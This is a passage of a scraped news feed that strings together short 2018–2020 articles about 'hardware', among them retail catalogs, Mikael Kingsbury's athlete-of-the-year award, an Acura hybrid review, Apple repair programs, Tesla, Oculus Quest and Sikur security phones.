That’s especially true for a very modern subgenre of company that seeks to attract socially conscious young people with a mix of activism, philanthropy, and sales. The brand Cotopaxi, which uses recycled materials to make things like backpacks and jackets, is among them. The outdoor-gear purveyor shoots its catalogs in adventure-travel spots in conjunction with local nonprofits, including, most recently, Escuela Nueva, which provides education to indigenous people and refugees in South America. The organizations receive modest grants from Cotopaxi, as well as coverage in the company’s catalog and the rights to use the material for their own fundraising. “It’s hard to tell that story over [social media] sometimes,” says Annie Agle, Cotopaxi’s director of brand and impact. “It can feel callous; there’s not a lot of time, and you’re fighting for attention.” Catalogs, in their own way, are antiviral—they’re not easily shared, and they offer depth and explanation. If the catalogs in your mailbox have started to look more like magazines, that’s why.

Still, consumers worried about waste and climate change might bristle at receiving paper mail when they could be reached digitally. Agle says she understands that concern, but notes that upwards of 90 percent of an apparel company’s carbon footprint happens before a garment is sewn, because the manufacture and transportation of textiles is extremely expensive and wasteful. So that, she says, is where most of Cotopaxi’s efforts at waste reduction have gone.

Even if paper sent through the mail is an imperfect medium, it still might be the best way for independent businesses to avoid getting sucked into the Amazon-Google-Facebook vortex—and for internet-weary consumers to avoid seeing the whole world through the filters of the Big Three’s algorithms. “Something we talk about a lot is data-privacy issues,” Agle says. “Obviously electronic advertising is more sustainable, but it’s not necessarily better for society.”

This article appears in the March 2020 print edition with the headline “Why Restoration Hardware Sends Catalogs the Size of a Toddler.”

]]> https://briefnews.eu/why-the-restoration-hardware-catalog-wont-die/feed/ 0 Mikael Kingsbury keeps adding hardware, named CP male athlete of the year https://briefnews.eu/mikael-kingsbury-keeps-adding-hardware-named-cp-male-athlete-of-the-year/ https://briefnews.eu/mikael-kingsbury-keeps-adding-hardware-named-cp-male-athlete-of-the-year/#respond Thu, 27 Dec 2018 17:33:58 +0000 http://briefnews.eu/mikael-kingsbury-keeps-adding-hardware-named-cp-male-athlete-of-the-year/

Mikael Kingsbury never had so much to lose as on Feb. 12, when he hit the track at the Phoenix Snow Park. As the odds-on favourite in the men's moguls event at the Pyeongchang Olympics, the 26-year-old ski star was well aware that only a victory would meet expectations.

Going second-last in the super final, Kingsbury rose to the occasion. In full control, he nailed a perfect descent that earned him the one title that had eluded him: Olympic champion.

"I was in the position where it was gold or nothing," the athlete from Deux-Montagnes, Que. said of his second Olympic experience.

"For those who follow my sport, even a second place would have been considered a poor performance. Yes, there was pressure but, at the top of the course, I had a really good feeling. And when that's the case, I have confidence and that's always a good sign."

Kingsbury's dream year earns him the Lionel Conacher Award from The Canadian Press as Canada's male athlete of the year.

The Quebec skier was chosen by 30 of the 56 sportswriters and commentators from newsrooms across the country.

He beat out Edmonton Oilers centre Connor McDavid (12 votes), who won the Art Ross Trophy as the NHL's top scorer as well as the Ted Lindsay Award for outstanding player as selected by his peers.

Next on the list was soccer phenom Alphonso Davies with five votes, double Olympic speed skating medallist Ted-Jan Bloeman (3), para-skier Brian McKeever (3), New Jersey Devils winger Taylor Hall (2), and Ottawa Redblacks receiver Brad Sinopoli (1).

"I could have chosen McDavid, as we chose [Sidney] Crosby at one time, but Kingsbury's gold was one of the strongest moments of the Korean games, leading into performances by other Canadian athletes," wrote Le Quotidien's Denis Bouchard.

"No other Canadian athlete dominates their sport as outrageously as Mikael Kingsbury," wrote Jean-Francois Begin of La Presse.

Watch Kingsbury win his 50th World Cup moguls title:

The Deux-Montagnes, Que., skier opened the season by winning his 50th career moguls World Cup title in Ruka, Finland on Friday. 0:44

While Olympic gold was undoubtedly the highlight of his year, Kingsbury continued to dominate the World Cup circuit with seven victories in 10 starts, including three in a row to end the 2017-18 season.

He won two Crystal Globes at the end of the last World Cup season as overall men's freestyle points leader and overall men's moguls leader.

Kingsbury becomes the first skier to win the Lionel Conacher Award, which is named after the multi-sport champion chosen as the top athlete of the first half of the 20th century in 1950.

Golfer Brooke Henderson was awarded the Bobbie Rosenfeld Award as female athlete of the year on Wednesday for the third time. The sports team of the year will be named on Friday.

Earlier this month Kingsbury was also awarded the Toronto Star's Lou Marsh Award for top Canadian athlete.

"It's crazy to have had this much success," Kingsbury said. "It's an almost perfect season. My worst 2018 result was a second place."

"Compared to other sports, like tennis, it's as if I won all the Grand Slam finals."

Nobody in moguls like Mikael

Kingsbury dominates his sport.

In January 2018 Kingsbury set a new record for World Cup wins with his 47th victory. He has 52 victories in 93 starts.

"I kind of feel like I have an aura around me. Without saying I intimidate the other competitors due to my repeated success, I have a great confidence in my abilities, I make few errors and that lets me find little advantages over them," he said.

"But I know I have a big target on my back and they all want to beat me. I've been first in the world for seven years, and every year there are those who say, 'Kingsbury, we're going to push him aside.' It makes the competition even more interesting."

And even if he's won everything, don't expect him to relinquish his throne. Kingsbury says there's still plenty to motivate him.

"I love to win and I still want to win, but my motivation isn't necessarily found in results," he said. "I'm aiming above all to reach my full potential, to innovate in my sport, to try new jumps. I want to see how far I can go."

"While perfection doesn't exist in my sport, my goal is to get as close as possible to it and to push the limits, in speed as well as the execution of my jumps."

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]]> https://briefnews.eu/mikael-kingsbury-keeps-adding-hardware-named-cp-male-athlete-of-the-year/feed/ 0 Love the hardware, hate the UI: The Acura MDX Sport Hybrid https://briefnews.eu/love-the-hardware-hate-the-ui-the-acura-mdx-sport-hybrid/ https://briefnews.eu/love-the-hardware-hate-the-ui-the-acura-mdx-sport-hybrid/#respond Thu, 13 Dec 2018 12:17:48 +0000 http://briefnews.eu/love-the-hardware-hate-the-ui-the-acura-mdx-sport-hybrid/
The Acura MDX Sport Hybrid.

Enlarge / The Acura MDX Sport Hybrid. (credit: Eric Bangeman)

If you’re a technology enthusiast—and you obviously are, because you’re reading Ars Technica—you’ll know that poor software or a bad UI can drag down even the best hardware. It’s frustrating, and not just because lousy software can make using the newest, shiniest gear less fun. The frustration is also fueled by the vision of what could have been if the manufacturer had truly gotten its act together.

That, in a nutshell, describes my week with the Acura MDX Sport Hybrid.

The MDX is the first hybrid SUV from Acura. It was refreshed for the 2017 model year, and, aside from a few new color options, it is essentially unchanged for 2019. It’s a three-row, midsize SUV that sits in the same luxury segment occupied by the Infiniti QX60 (look for our review soon), Audi Q7, Volvo XC90, and Lexus RX 350L. It has a 3.0L, 24-valve V6 under the hood, accompanied by three electric motors—borrowed from the hybrid NSX supercar no less. There’s also a 7-speed dual-clutch transmission that works sans torque convertor, which Acura says improves its efficiency.

Read 26 remaining paragraphs | Comments

]]> https://briefnews.eu/love-the-hardware-hate-the-ui-the-acura-mdx-sport-hybrid/feed/ 0 Apple announces hardware issues with its iPhone X and 13-inch MacBook Pro https://briefnews.eu/apple-announces-hardware-issues-with-its-iphone-x-and-13-inch-macbook-pro/ https://briefnews.eu/apple-announces-hardware-issues-with-its-iphone-x-and-13-inch-macbook-pro/#respond Sat, 10 Nov 2018 09:03:47 +0000 http://briefnews.eu/apple-announces-hardware-issues-with-its-iphone-x-and-13-inch-macbook-pro/ iphone xGetty/Carl Court

  • On Friday, Apple announced that two of its products — the iPhone X and the 13-inch MacBook Pro (non Touch Bar) — have known hardware issues.
  • Apple said that some iPhone X screens do not respond or intermittently respond to touch.
  • For the 13-inch MacBook Pro, Apple said some devices might have an issue that causes data loss or drive failure.
  • Customers with eligible devices can have both issues fixed for free at an Apple retail store or with an Apple Authorized Service Provider.

On Friday, Apple announced that two of its products — the iPhone X and the 13-inch MacBook Pro (non Touch Bar) — have known hardware issues. Bloomberg first reported on these issues after being posted on Apple’s support pages on Friday.

Apple said that on some iPhone X devices, display screens are experiencing touch issues. Those issues include:

See the rest of the story at Business Insider

NOW WATCH: First impressions of the Google Pixel 3 and Pixel 3 XL

See Also:

SEE ALSO: The 6 biggest differences you need to know about when switching from an older iPhone to the iPhone XS Max

]]> https://briefnews.eu/apple-announces-hardware-issues-with-its-iphone-x-and-13-inch-macbook-pro/feed/ 0 How to Watch Apple’s (Second!) Fall Hardware Show https://briefnews.eu/how-to-watch-apples-second-fall-hardware-show/ https://briefnews.eu/how-to-watch-apples-second-fall-hardware-show/#respond Mon, 29 Oct 2018 21:10:58 +0000 http://briefnews.eu/how-to-watch-apples-second-fall-hardware-show/ We’re expecting new iPads and a new MacBook. Here’s how you can watch all the action, from wherever you are.


https://media.wired.com/photos/5bd770615b66a763e54f0b19/master/pass/mac-967357020.jpg

]]> https://briefnews.eu/how-to-watch-apples-second-fall-hardware-show/feed/ 0 Elon Musk said Tesla stopped selling ‘full self-driving’ hardware online because customers were confused (TSLA) https://briefnews.eu/elon-musk-said-tesla-stopped-selling-full-self-driving-hardware-online-because-customers-were-confused-tsla/ https://briefnews.eu/elon-musk-said-tesla-stopped-selling-full-self-driving-hardware-online-because-customers-were-confused-tsla/#respond Thu, 25 Oct 2018 13:45:39 +0000 http://briefnews.eu/elon-musk-said-tesla-stopped-selling-full-self-driving-hardware-online-because-customers-were-confused-tsla/ elon muskFrancois Mori / Associated Press

  • Tesla CEO Elon Musk said on Wednesday that Tesla stopped selling self-driving hardware on its website because customers were confused.
  • Last week, Musk said via Twitter that the option would be available “off menu” for a week, but on Wednesday suggested the feature would remain available to those who asked for it.
  • In May, a Tesla representative told Business Insider that its customers had not expressed confusion about the language on its website describing Autopilot’s capabilities.

 

Tesla CEO Elon Musk said on Wednesday that Tesla stopped selling self-driving hardware on its website because customers were confused.

See the rest of the story at Business Insider

NOW WATCH: INSIDE MONSTER JAM: What it takes to be a monster truck driver

See Also:

SEE ALSO: 10 electric cars that will challenge Tesla’s Model 3

]]> https://briefnews.eu/elon-musk-said-tesla-stopped-selling-full-self-driving-hardware-online-because-customers-were-confused-tsla/feed/ 0 If SETI uses off-the-shelf hardware & software — can’t you? https://briefnews.eu/if-seti-uses-off-the-shelf-hardware-software-cant-you/ https://briefnews.eu/if-seti-uses-off-the-shelf-hardware-software-cant-you/#respond Mon, 15 Oct 2018 17:41:50 +0000 http://briefnews.eu/if-seti-uses-off-the-shelf-hardware-software-cant-you/

VB EVENT: “We use gaming GPUs,” says Dr. Andrew Siemion, director of the Berkeley SETI research center. “We use the GeForce series from Nvidia. We use consumer level flash drives.” Siemion is one of the speakers at VB Summit, coming up on October 22-23 in Mill Valley, CA. On Twitter, his team recently posted a photo of a gia…Read More

]]> https://briefnews.eu/if-seti-uses-off-the-shelf-hardware-software-cant-you/feed/ 0 Carmack compares Oculus Quest hardware power to last-gen game consoles https://briefnews.eu/carmack-compares-oculus-quest-hardware-power-to-last-gen-game-consoles/ https://briefnews.eu/carmack-compares-oculus-quest-hardware-power-to-last-gen-game-consoles/#respond Fri, 28 Sep 2018 01:48:16 +0000 http://briefnews.eu/carmack-compares-oculus-quest-hardware-power-to-last-gen-game-consoles/
Article intro image

Any excuse to reuse this image of Carmack is a good one. (credit: Oculus VR)

SAN JOSE—In a wide-ranging and occasionally rambling unscripted talk at the Oculus Connect conference today, CTO John Carmack suggested the Oculus Quest headset was “in the neighborhood of power of an Xbox 360 or PS3.”

That doesn’t mean the Quest, which is powered by a Qualcomm Snapdragon 835 SoC, can generate VR scenes comparable to those seen in Xbox 360 or PS3 games, though. As Carmack pointed out, most games of that generation targeted a 1280×720 resolution at 30 frames per second. On Quest, the display target involves two 1280×1280 images per frame at 72fps. That’s 8.5 times as many pixels per second, with additional high-end anti-aliasing effects needed for VR as well.

“It is not possible to take a game that was done at a high-quality level [on the Xbox 360 or PS3] and expect it to look good in VR,” Carmack said.

Read 4 remaining paragraphs | Comments

]]> https://briefnews.eu/carmack-compares-oculus-quest-hardware-power-to-last-gen-game-consoles/feed/ 0 Sikur launches high-security phones based on Sony hardware https://briefnews.eu/sikur-launches-high-security-phones-based-on-sony-hardware/ https://briefnews.eu/sikur-launches-high-security-phones-based-on-sony-hardware/#respond Tue, 25 Sep 2018 10:09:03 +0000 http://briefnews.eu/sikur-launches-high-security-phones-based-on-sony-hardware/

Sikur garnered attention with its reportedly hack-resistant GranitePhone back in 2015, but the follow-up has been a long time in coming — it only just announced a follow-up in February. The sequels are here, however, and they’ll look more than a little familiar. The company has released the SIKURPhone XZ1 and SIKURPhone XA2, both of which run SikurOS (a hardened version of Android) on top of existing Sony hardware. Either device promises “several layers” of security, including a carefully-vetted app store (due to launch by the end of 2018) and a cryptocurrency wallet — it’s just running on branded third-party hardware.

The XZ1 (above), as the name implies, is based on 2017’s Xperia XZ1. That nets you a 5.2-inch display, a still speedy Snapdragon 835, 4GB of RAM, 64GB of built-in storage, a 19-megapixel rear camera and a 13-megapixel front cam. It may feel slightly outdated next to the XZ3, but you’re not buying this for cutting-edge tech. The XA2, in turn is a more budget-friendly option based on the Xperia XA2 (below). That nets you a 5.2-inch display mated with a Snapdragon 630, 3GB of RAM, 32GB of storage, a 23-megapixel rear shooter and an 8-megapixel selfie cam.

We’ve asked about pricing. As before, though, this isn’t really meant for someone who’d otherwise be buying an off-the-shelf Galaxy or Pixel. This is for businesses, cryptocurrency traders and others who have a vested interest in keeping their phones as secure as possible, even if it means giving up some of the creature comforts of conventional handsets. And if you’re not happy with the selection, Sikur hinted that this could lead to its platform coming to other familiar Android devices in the future.

SIKURPhone XA2

Source: Sikur

]]> https://briefnews.eu/sikur-launches-high-security-phones-based-on-sony-hardware/feed/ 0